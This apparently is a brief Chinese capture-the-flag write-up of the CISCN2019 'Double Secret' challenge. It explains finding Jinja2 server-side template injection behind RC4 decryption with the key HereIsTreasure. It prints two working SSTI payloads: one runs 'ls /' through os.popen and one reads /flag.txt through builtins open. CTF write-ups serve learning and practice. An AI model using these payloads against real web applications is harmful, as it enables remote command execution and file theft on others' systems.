[CISCN2019 华东南赛区]Double Secret
由标题可以知道:有两个secret;尝试/secret
网页显示是给个参数他就会给你加密(但是却是解密)
有两个secret可以在参数这里猜:
加?secret=12345发现错误:
发现是ssti报错:盲猜jinja2:
找app.py:
1 | if(secret==None): |
可以发现是加了一个rc4的解密,密钥为:HereIsTreasure
我直接搞个加密rc4的密钥一样就可以了:
payload:
1 | {{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls /').read()}} |
读flag.txt payload:
1 | {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/flag.txt').read()}} |
但是要加一个url加密,在加一个加密所有字符(因为好像直接输入会丢字符)